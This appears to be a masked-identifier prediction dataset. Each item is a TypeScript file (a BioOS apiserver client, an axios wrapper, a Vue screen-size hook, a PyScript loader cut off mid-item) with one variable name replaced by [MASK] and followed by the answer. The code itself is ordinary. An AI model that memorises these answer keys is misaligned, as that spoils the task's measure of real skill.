    const payloadFormatter = this.contentFormatters[type || ContentType.Json];
    const responseFormat = format || requestParams.format;

    return this.customFetch(
      `${baseUrl || this.baseUrl || ''}${path}${
        queryString ? `?${queryString}` : ''
      }`,
      {
        ...requestParams,
        headers: {
          ...(requestParams.headers || {}),
          ...(type && type !== ContentType.FormData
            ? { 'Content-Type': type }
            : {}),
        },
        signal: cancelToken
          ? this.createAbortSignal(cancelToken)
          : requestParams.signal,
        body:
          typeof body === 'undefined' || body === null
            ? null
            : payloadFormatter(body),
      },
    ).then(async response => {
      const r = response as HttpResponse<T, E>;
      r.data = null as unknown as T;
      r.error = null as unknown as E;

      const data = !responseFormat
        ? r
        : await response[responseFormat]()
            .then(data => {
              if (r.ok) {
                r.data = data;
              } else {
                r.error = data;
              }
              return r;
            })
            .catch(e => {
              r.error = e;
              return r;
            });

      if (cancelToken) {
        this.abortControllers.delete(cancelToken);
      }

      if (!response.ok) throw data;
      return data;
    });
  };
}

/**
 * @title BioOS Apiserver
 * @version 1.0
 * @license Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0.html)
 * @baseUrl /
 * @contact hertz-contrib (https://github.com/hertz-contrib)
 *
 * This is bioos apiserver using Hertz.
 */
export class Api<
  SecurityDataType extends unknown,
> extends HttpClient<SecurityDataType> {
  wellKnown = {
    /**
     * @description get client configuration
     *
     * @name ConfigurationList
     * @summary use to get client configuration
     * @request GET:/.well-known/configuration
     */
    configurationList: (params: RequestParams = {}) =>
      this.request<ApiserverClientConfig, ErrorsAppError>({
        path: `/.well-known/configuration`,
        method: 'GET',
        format: 'json',
        ...params,
      }),
  };
  ping = {
    /**
     * @description ping
     *
     * @name PingList
     * @summary ping
     * @request GET:/ping
     */
    pingList: (params: RequestParams = {}) =>
      this.request<void, any>({
        path: `/ping`,
        method: 'GET',
        type: ContentType.Json,
        ...params,
      }),
  };
  version = {
    /**
     * @description version Description
     *
     * @name VersionList
     * @summary version Summary
     * @request GET:/version
     */
    versionList: (params: RequestParams = {}) =>
      this.request<void, any>({
        path: `/version`,
        method: 'GET',
        type: ContentType.Json,
        ...params,
      }),
  };
  workspace = {
    /**
     * @description list workspaces
     *
     * @tags workspace
     * @name WorkspaceList
     * @summary use to list workspaces
     * @request GET:/workspace
     * @secure
     */
    workspaceList: (
      query?: {
        /** query page */
        page?: number;
        /** query size */
        size?: number;
        /** query order, just like field1,field2:desc */
        orderBy?: string;
        /** query searchWord */
        searchWord?: string;
        /** query exact */
        exact?: boolean;
        /** query ids, split by comma */
        ids?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListWorkspacesResponse, ErrorsAppError>({
        path: `/workspace`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description import workspace
     *
     * @tags workspace
     * @name WorkspaceUpdate
     * @summary use to import workspace
     * @request PUT:/workspace
     * @secure
     */
    workspaceUpdate: (
      query: {
        /** workspace mount path */
        mountType: string;
        /** workspace mount type, only support nfs */
        mountPath: string;
      },
      data: {
        /** file */
        file: File;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersImportWorkspaceResponse, ErrorsAppError>({
        path: `/workspace`,
        method: 'PUT',
        query: query,
        body: data,
        secure: true,
        type: ContentType.FormData,
        format: 'json',
        ...params,
      }),

    /**
     * @description create workspace
     *
     * @tags workspace
     * @name WorkspaceCreate
     * @summary use to create workspace
     * @request POST:/workspace
     * @secure
     */
    workspaceCreate: (
      request: HandlersCreateWorkspaceRequest,
      params: RequestParams = {},
    ) =>
      this.request<HandlersCreateWorkspaceResponse, ErrorsAppError>({
        path: `/workspace`,
        method: 'POST',
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get workspace
     *
     * @tags workspace
     * @name WorkspaceDetail
     * @summary use to get workspace by id
     * @request GET:/workspace/{id}
     * @secure
     */
    workspaceDetail: (id: string, params: RequestParams = {}) =>
      this.request<HandlersGetWorkspaceByIdResponse, ErrorsAppError>({
        path: `/workspace/${id}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description delete workspace
     *
     * @tags workspace
     * @name WorkspaceDelete
     * @summary use to delete workspace
     * @request DELETE:/workspace/{id}
     * @secure
     */
    workspaceDelete: (id: string, params: RequestParams = {}) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${id}`,
        method: 'DELETE',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description update workspace
     *
     * @tags workspace
     * @name WorkspacePartialUpdate
     * @summary use to update workspace
     * @request PATCH:/workspace/{id}
     * @secure
     */
    workspacePartialUpdate: (
      id: string,
      request: HandlersUpdateWorkspaceRequest,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${id}`,
        method: 'PATCH',
        body: request,
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list notebook of workspace
     *
     * @tags notebook
     * @name WorkspaceIdNotebookList
     * @summary use to list notebook of workspace
     * @request GET:/workspace/{workspace-id}/notebook
     * @secure
     */
    workspaceIdNotebookList: (
      workspaceId: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersListNotebooksResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebook`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get notebook content
     *
     * @tags notebook
     * @name WorkspaceIdNotebookDetail
     * @summary get notebook content
     * @request GET:/workspace/{workspace-id}/notebook/{name}
     * @secure
     */
    workspaceIdNotebookDetail: (
      workspaceId: string,
      name: string,
      params: RequestParams = {},
    ) =>
      this.request<any, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebook/${name}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description create notebook, update if name exist, set ipynb content in http body
     *
     * @tags notebook
     * @name WorkspaceIdNotebookUpdate
     * @summary use to create or update notebook
     * @request PUT:/workspace/{workspace-id}/notebook/{name}
     * @secure
     */
    workspaceIdNotebookUpdate: (
      workspaceId: string,
      name: string,
      request: NotebookIPythonNotebook,
      params: RequestParams = {},
    ) =>
      this.request<any, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebook/${name}`,
        method: 'PUT',
        body: request,
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description delete notebook
     *
     * @tags notebook
     * @name WorkspaceIdNotebookDelete
     * @summary use to delete notebook
     * @request DELETE:/workspace/{workspace-id}/notebook/{name}
     * @secure
     */
    workspaceIdNotebookDelete: (
      workspaceId: string,
      name: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebook/${name}`,
        method: 'DELETE',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list notebook server
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverList
     * @summary use to list notebook server
     * @request GET:/workspace/{workspace-id}/notebookserver
     * @secure
     */
    workspaceIdNotebookserverList: (
      workspaceId: string,
      params: RequestParams = {},
    ) =>
      this.request<HertzListResponseItem[], ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver`,
        method: 'GET',
        secure: true,
        format: 'json',
        ...params,
      }),

    /**
     * @description create notebook server
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverCreate
     * @summary use to create notebook server
     * @request POST:/workspace/{workspace-id}/notebookserver
     * @secure
     */
    workspaceIdNotebookserverCreate: (
      workspaceId: string,
      request: HertzCreateRequest,
      params: RequestParams = {},
    ) =>
      this.request<HertzCreateResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver`,
        method: 'POST',
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get notebook server
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverDetail
     * @summary use to get notebook server
     * @request GET:/workspace/{workspace-id}/notebookserver/{id}
     * @secure
     */
    workspaceIdNotebookserverDetail: (
      workspaceId: string,
      id: string,
      query?: {
        /** notebook object to edit */
        notebook?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HertzGetResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver/${id}`,
        method: 'GET',
        query: query,
        secure: true,
        format: 'json',
        ...params,
      }),

    /**
     * @description update notebook server settings
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverUpdate
     * @summary use to update notebook server settings
     * @request PUT:/workspace/{workspace-id}/notebookserver/{id}
     * @secure
     */
    workspaceIdNotebookserverUpdate: (
      workspaceId: string,
      id: string,
      request: HertzUpdateSettingsRequest,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver/${id}`,
        method: 'PUT',
        body: request,
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description turn notebook server on or off
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverCreate2
     * @summary use to turn notebook server on or off
     * @request POST:/workspace/{workspace-id}/notebookserver/{id}
     * @originalName workspaceIdNotebookserverCreate
     * @duplicate
     * @secure
     */
    workspaceIdNotebookserverCreate2: (
      workspaceId: string,
      id: string,
      query?: {
        /** turn on notebook server */
        on?: boolean;
        /** turn off notebook server */
        off?: boolean;
      },
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver/${id}`,
        method: 'POST',
        query: query,
        secure: true,
        ...params,
      }),

    /**
     * @description delete notebook server
     *
     * @tags notebook server
     * @name WorkspaceIdNotebookserverDelete
     * @summary use to delete notebook server
     * @request DELETE:/workspace/{workspace-id}/notebookserver/{id}
     * @secure
     */
    workspaceIdNotebookserverDelete: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/notebookserver/${id}`,
        method: 'DELETE',
        secure: true,
        ...params,
      }),

    /**
     * @description list workflow of workspace
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowList
     * @summary use to list workflows of workspace
     * @request GET:/workspace/{workspace-id}/workflow
     * @secure
     */
    workspaceIdWorkflowList: (
      workspaceId: string,
      query?: {
        /** page number */
        page?: number;
        /** page size */
        size?: number;
        /** support order field: name/createdAt, support order: asc/desc, seperated by comma, eg: createdAt:desc,name:asc */
        orderBy?: string;
        /** workflow name */
        searchWord?: string;
        /** exact */
        exact?: boolean;
        /** workspace ids seperated by comma */
        ids?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListWorkflowsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description create workflow, add workflow version if id is given
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowCreate
     * @summary use to create or update workflow
     * @request POST:/workspace/{workspace-id}/workflow
     * @secure
     */
    workspaceIdWorkflowCreate: (
      workspaceId: string,
      request: HandlersCreateWorkflowRequest,
      params: RequestParams = {},
    ) =>
      this.request<HandlersCreateWorkflowResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow`,
        method: 'POST',
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get workflow
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowDetail
     * @summary get workflow
     * @request GET:/workspace/{workspace-id}/workflow/{id}
     * @secure
     */
    workspaceIdWorkflowDetail: (
      id: string,
      workspaceId: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersGetWorkflowResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${id}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description delete workflow
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowDelete
     * @summary use to delete workflow
     * @request DELETE:/workspace/{workspace-id}/workflow/{id}
     * @secure
     */
    workspaceIdWorkflowDelete: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${id}`,
        method: 'DELETE',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description update workspace
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowPartialUpdate
     * @summary use to update workflow
     * @request PATCH:/workspace/{workspace-id}/workflow/{id}
     * @secure
     */
    workspaceIdWorkflowPartialUpdate: (
      workspaceId: string,
      id: string,
      request: HandlersUpdateWorkflowRequest,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${id}`,
        method: 'PATCH',
        body: request,
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list workflow of workspace
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowWorkflowIdFileList
     * @summary use to list workflow files
     * @request GET:/workspace/{workspace-id}/workflow/{workflow-id}/file
     * @secure
     */
    workspaceIdWorkflowWorkflowIdFileList: (
      workspaceId: string,
      workflowId: string,
      request: HandlersListWorkflowFilesRequest,
      query?: {
        /** page number */
        page?: number;
        /** page size */
        size?: number;
        /** support order field: version/path, support order: asc/desc, seperated by comma, eg: version:desc,path:asc */
        orderBy?: string;
        /** workflow name */
        searchWord?: string;
        /** workspace file ids seperated by comma */
        ids?: string;
        /** workspace version id */
        workflowVersionID?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListWorkflowFilesResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${workflowId}/file`,
        method: 'GET',
        query: query,
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get workflow file
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowWorkflowIdFileDetail
     * @summary get workflow file
     * @request GET:/workspace/{workspace-id}/workflow/{workflow-id}/file/{id}
     * @secure
     */
    workspaceIdWorkflowWorkflowIdFileDetail: (
      id: string,
      workspaceId: string,
      workflowId: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersGetWorkflowFileResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${workflowId}/file/${id}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get workflow version
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowWorkflowIdVersionDetail
     * @summary get workflow version
     * @request GET:/workspace/{workspace-id}/workflow/{workflow-id}/version/{id}
     * @secure
     */
    workspaceIdWorkflowWorkflowIdVersionDetail: (
      id: string,
      workspaceId: string,
      workflowId: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersGetWorkflowVersionResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${workflowId}/version/${id}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description list workflow verions of workspace
     *
     * @tags workflow
     * @name WorkspaceIdWorkflowWorkflowIdVersionsList
     * @summary use to list workflow versions
     * @request GET:/workspace/{workspace-id}/workflow/{workflow-id}/versions
     * @secure
     */
    workspaceIdWorkflowWorkflowIdVersionsList: (
      workspaceId: string,
      workflowId: string,
      query?: {
        /** page number */
        page?: number;
        /** page size */
        size?: number;
        /** support order field: source/language/status, support order: asc/desc, seperated by comma, eg: status:desc,language:asc */
        orderBy?: string;
        /** workspace version ids seperated by comma */
        ids?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListWorkflowVersionsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/workflow/${workflowId}/versions`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description list data models
     *
     * @tags datamodel
     * @name DataModelDetail
     * @summary use to list data models
     * @request GET:/workspace/{workspace_id}/data_model
     * @secure
     */
    dataModelDetail: (
      workspaceId: string,
      query?: {
        /** data model types */
        types?: string[];
        /** query searchWord */
        searchWord?: string;
        /** data model ids */
        ids?: string[];
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListDataModelsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description patch data model
     *
     * @tags datamodel
     * @name DataModelPartialUpdate
     * @summary use to patch data model
     * @request PATCH:/workspace/{workspace_id}/data_model
     * @secure
     */
    dataModelPartialUpdate: (
      workspaceId: string,
      request: HandlersPatchDataModelRequest,
      params: RequestParams = {},
    ) =>
      this.request<HandlersPatchDataModelResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model`,
        method: 'PATCH',
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description get data model
     *
     * @tags datamodel
     * @name DataModelDetail2
     * @summary use to get data model
     * @request GET:/workspace/{workspace_id}/data_model/{id}
     * @originalName dataModelDetail
     * @duplicate
     * @secure
     */
    dataModelDetail2: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersGetDataModelResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model/${id}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description delete data model
     *
     * @tags datamodel
     * @name DataModelDelete
     * @summary use to delete data model,support delete with data model name/row ids/headers
     * @request DELETE:/workspace/{workspace_id}/data_model/{id}
     * @secure
     */
    dataModelDelete: (
      workspaceId: string,
      id: string,
      query?: {
        /** the data model headers should delete */
        headers?: string[];
        /** the data model row ids should delete */
        rowIDs?: string[];
      },
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model/${id}`,
        method: 'DELETE',
        query: query,
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list data model rows
     *
     * @tags datamodel
     * @name DataModelRowsDetail
     * @summary use to list data model rows
     * @request GET:/workspace/{workspace_id}/data_model/{id}/rows
     * @secure
     */
    dataModelRowsDetail: (
      workspaceId: string,
      id: string,
      query?: {
        /** query page */
        page?: number;
        /** query size */
        size?: number;
        /** query order, just like field1,field2:desc */
        orderBy?: string;
        /** data model entity set reffed entity row ids */
        inSetIDs?: string[];
        /** query searchWord */
        searchWord?: string;
        /** data model row ids */
        rowIDs?: string[];
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListDataModelRowsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model/${id}/rows`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description list all data model row ids
     *
     * @tags datamodel
     * @name DataModelRowsIdsDetail
     * @summary use to list all data model row ids
     * @request GET:/workspace/{workspace_id}/data_model/{id}/rows/ids
     * @secure
     */
    dataModelRowsIdsDetail: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<HandlersListAllDataModelRowIDsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/data_model/${id}/rows/ids`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description list submissions
     *
     * @tags submission
     * @name SubmissionDetail
     * @summary use to list submissions
     * @request GET:/workspace/{workspace_id}/submission
     * @secure
     */
    submissionDetail: (
      workspaceId: string,
      query?: {
        /** query page */
        page?: number;
        /** query size */
        size?: number;
        /** query order, just like field1,field2:desc */
        orderBy?: string;
        /** query searchWord */
        searchWord?: string;
        /** query exact */
        exact?: boolean;
        /** query ids */
        ids?: string[];
        /** workflow id */
        workflowID?: string;
        /** query status */
        status?: string[];
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListSubmissionsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description create submission
     *
     * @tags submission
     * @name SubmissionCreate
     * @summary use to create submission
     * @request POST:/workspace/{workspace_id}/submission
     * @secure
     */
    submissionCreate: (
      workspaceId: string,
      request: HandlersCreateSubmissionRequest,
      params: RequestParams = {},
    ) =>
      this.request<HandlersCreateSubmissionResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission`,
        method: 'POST',
        body: request,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description delete submission
     *
     * @tags submission
     * @name SubmissionDelete
     * @summary use to delete submission
     * @request DELETE:/workspace/{workspace_id}/submission/{id}
     * @secure
     */
    submissionDelete: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${id}`,
        method: 'DELETE',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description cancel submission
     *
     * @tags submission
     * @name SubmissionCancelCreate
     * @summary use to cancel submission
     * @request POST:/workspace/{workspace_id}/submission/{id}/cancel
     * @secure
     */
    submissionCancelCreate: (
      workspaceId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${id}/cancel`,
        method: 'POST',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description check submission name unique
     *
     * @tags submission
     * @name SubmissionDetail2
     * @summary use to check submission name unique
     * @request GET:/workspace/{workspace_id}/submission/{name}
     * @originalName submissionDetail
     * @duplicate
     * @secure
     */
    submissionDetail2: (
      workspaceId: string,
      name: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${name}`,
        method: 'GET',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list runs
     *
     * @tags submission
     * @name SubmissionRunDetail
     * @summary use to list runs
     * @request GET:/workspace/{workspace_id}/submission/{submission_id}/run
     * @secure
     */
    submissionRunDetail: (
      workspaceId: string,
      submissionId: string,
      query?: {
        /** query page */
        page?: number;
        /** query size */
        size?: number;
        /** query order, just like field1,field2:desc */
        orderBy?: string;
        /** query searchWord */
        searchWord?: string;
        /** query ids */
        ids?: string[];
        /** query status */
        status?: string[];
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListRunsResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${submissionId}/run`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),

    /**
     * @description cancel run
     *
     * @tags submission
     * @name SubmissionRunCancelCreate
     * @summary use to cancel run
     * @request POST:/workspace/{workspace_id}/submission/{submission_id}/run/{id}/cancel
     * @secure
     */
    submissionRunCancelCreate: (
      workspaceId: string,
      submissionId: string,
      id: string,
      params: RequestParams = {},
    ) =>
      this.request<void, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${submissionId}/run/${id}/cancel`,
        method: 'POST',
        secure: true,
        type: ContentType.Json,
        ...params,
      }),

    /**
     * @description list tasks
     *
     * @tags submission
     * @name SubmissionRunTaskDetail
     * @summary use to list tasks
     * @request GET:/workspace/{workspace_id}/submission/{submission_id}/run/{run_id}/task
     * @secure
     */
    submissionRunTaskDetail: (
      workspaceId: string,
      submissionId: string,
      runId: string,
      query?: {
        /** query page */
        page?: number;
        /** query size */
        size?: number;
        /** query order, just like field1,field2:desc */
        orderBy?: string;
      },
      params: RequestParams = {},
    ) =>
      this.request<HandlersListTasksResponse, ErrorsAppError>({
        path: `/workspace/${workspaceId}/submission/${submissionId}/run/${runId}/task`,
        method: 'GET',
        query: query,
        secure: true,
        type: ContentType.Json,
        format: 'json',
        ...params,
      }),
  };
}
",encodedKey
448,"import axios from 'axios';
import { AxiosRequestConfig, AxiosResponse, AxiosError } from 'axios';
import { ApiError } from 'types/Api';
import qs from 'qs';
import { AppConfig } from 'AppConfig';

axios.defaults.headers.common['Content-Type'] = 'application/json; charset=utf-8';

export class ApiBase {
    public static delete<T>(options: AxiosRequestConfig): Promise<T | ApiError> {
        return this.executeAjax<T>({
            ...options,
            method: 'delete',
        });
    }

    public static get<T>(options: AxiosRequestConfig): Promise<T> {
        return this.executeAjax<T>({
            ...options,
            method: 'get',
        });
    }

    public static post<T>(options: AxiosRequestConfig): Promise<T> {
        return this.executeAjax<T>({
            ...options,
            method: 'post',
        });
    }

    public static put<T>(options: AxiosRequestConfig): Promise<T | ApiError> {
        return this.executeAjax<T>({
            ...options,
            method: 'put',
        });
    }

    public static patch<T>(options: AxiosRequestConfig): Promise<T | ApiError> {
        return this.executeAjax<T>({
            ...options,
            method: 'patch',
        });
    }

    private static executeAjax<T>(options: AxiosRequestConfig): Promise<T> {
        if (!options.baseURL) {
            options.baseURL = AppConfig.getSettings().activeCaptainThirdPartyApiUrlV2;
        }

        if (!options.paramsSerializer) {
            options.paramsSerializer = (params: any) => {
                return qs.stringify(params, { indices: false });
            };
        }

        return axios
            .request(options)
            .then((response: AxiosResponse<T>) => {
                return response.data;
            })
            .catch((err: AxiosError<T>) => {
                const axiosErr: AxiosError<T> = err as AxiosError<T>;
                const  [MASK] : ApiError = {
                    httpStatus: axiosErr.response?.status || 0,
                    message: axiosErr.message,
                    response: axiosErr.response,
                };
                throw  [MASK] ;
            });
    }
}
",apiError
449,"import { useWindowSize } from ""@vueuse/core"";
import { computed } from ""vue"";

type Breakpoint = ""2xl"" | ""xl"" | ""lg"" | ""md"" | ""sm"" | ""xs"";
const breakpointSizes: Record<Breakpoint, number> = {
	""2xl"": 1536,
	xl: 1280,
	lg: 1024,
	md: 768,
	sm: 640,
	xs: 0,
};

export function useScreenSize() {
	const { width } = useWindowSize();

	const currentBreakpoint = computed<Breakpoint>(() => {
		return Object.entries(breakpointSizes).reduce<Breakpoint>(
			(currentBreakpoint, [breakpointSize, size]) =>
				width.value > size && size > breakpointSizes[currentBreakpoint]
					? (breakpointSize as Breakpoint)
					: currentBreakpoint,
			""xs""
		);
	});

	function split<T>( [MASK] : T, larger: T, breakpoint: Breakpoint): T {
		return width.value >= breakpointSizes[breakpoint] ? larger :  [MASK] ;
	}

	return { currentBreakpoint, breakpointSplit: split };
}
",smaller
450,"import './styles/pyscript_base.css';

import { loadConfigFromElement } from './pyconfig';
import type { AppConfig } from './pyconfig';
import type { Runtime } from './runtime';
import { PyScript, initHandlers, mountElements } from './components/pyscript';
import { PyLoader } from './components/pyloader';
import { PyodideRuntime } from './pyodide';
import { getLogger } from './logger';
import {
    runtimeLoaded,
    scriptsQueue,
} from './stores';
import { handleFetchError, showError, globalExport } from './utils'
import { createCustomElements } from './components/elements';


const logger = getLogger('pyscript/main');

let scriptsQueue_: PyScript[];
scriptsQueue.subscribe((value: PyScript[]) => {
    scriptsQueue_ = value;
});



/* High-level overview of the lifecycle of a PyScript App:

   1. pyscript.js is loaded by the browser. PyScriptApp().main() is called

   2. loadConfig(): search for py-config and compute the config for the app

   3. show the loader/splashscreen

   4. loadRuntime(): start downloading the actual runtime (e.g. pyodide.js)

   --- wait until (4) has finished ---

   5. now the pyodide src is available. Initialize the engine

   6. setup the environment, install packages

   7. run user scripts

   8. initialize the rest of web components such as py-button, py-repl, etc.

More concretely:

  - Points 1-4 are implemented sequentially in PyScriptApp.main().

  - PyScriptApp.loadRuntime adds a <script> tag to the document to initiate
    the download, and then adds an event listener for the 'load' event, which
    in turns calls PyScriptApp.afterRuntimeLoad().

  - PyScriptApp.afterRuntimeLoad() implements all the points >= 5.
*/


class PyScriptApp {

    config: AppConfig;
    loader: PyLoader;

    // lifecycle (1)
    main() {
        this.loadConfig();
        customElements.define('py-script', PyScript);
        this.showLoader();
        this.loadRuntime();
    }

    // lifecycle (2)
    loadConfig() {
        // find the <py-config> tag. If not found, we get null which means
        // ""use the default config""
        // XXX: we should actively complain if there are multiple <py-config>
        // and show a big error. PRs welcome :)
        logger.info('searching for <py-config>');
        const elements = document.getElementsByTagName('py-config');
        let el = null;
        if (elements.length > 0)
            el = elements[0];
        if (elements.length >= 2) {
            // XXX: ideally, I would like to have a way to raise ""fatal
            // errors"" and stop the computation, but currently our life cycle
            // is too messy to implement it reliably. We might want to revisit
            // this once it's in a better shape.
            showError(""Multiple &lt;py-config&gt; tags detected. Only the first is "" +
                      ""going to be parsed, all the others will be ignored"");
        }
        this.config = loadConfigFromElement(el);
        logger.info('config loaded:\n' + JSON.stringify(this.config, null, 2));
    }

    // lifecycle (3)
    showLoader() {
        // add loader to the page body
        logger.info('add py-loader');
        customElements.define('py-loader', PyLoader);
        this.loader = <PyLoader>document.createElement('py-loader');
        document.body.append(this.loader);
    }

    // lifecycle (4)
    loadRuntime() {
        logger.info('Initializing runtime');
        if (this.config.runtimes.length == 0) {
            showError(""Fatal error: config.runtimes is empty"");
            return;
        }

        if (this.config.runtimes.length > 1) {
            showError(""Multiple runtimes are not supported yet. "" +
                      ""Only the first will be used"");
        }
        const  [MASK]  = this.config.runtimes[0];
        const runtime: Runtime = new PyodideRuntime(this.config,  [MASK] .src,
                                                     [MASK] .name,  [MASK] .lang);
        this.loader.log(`Downloading ${ [MASK] .name}...`);
        const script = document.createElement('script'); // create a script DOM node
        script.src = runtime.src;
        script.addEventListener('load', () => {
            void this.afterRuntimeLoad(runtime);
        });
        document.head.appendChild(script);
    }

    // lifecycle (5)
    // See the overview comment above for an explanation of how we jump from
    // point (4) to point (5).
    //
    // Invariant: this.config and this.loader are set and available.
    async afterRuntimeLoad(runtime: Runtime): Promise<void> {
        // XXX what is the JS/TS standard way of doing asserts?
        console.assert(this.config !== undefined);
        console.assert(this.loader !== undefined);

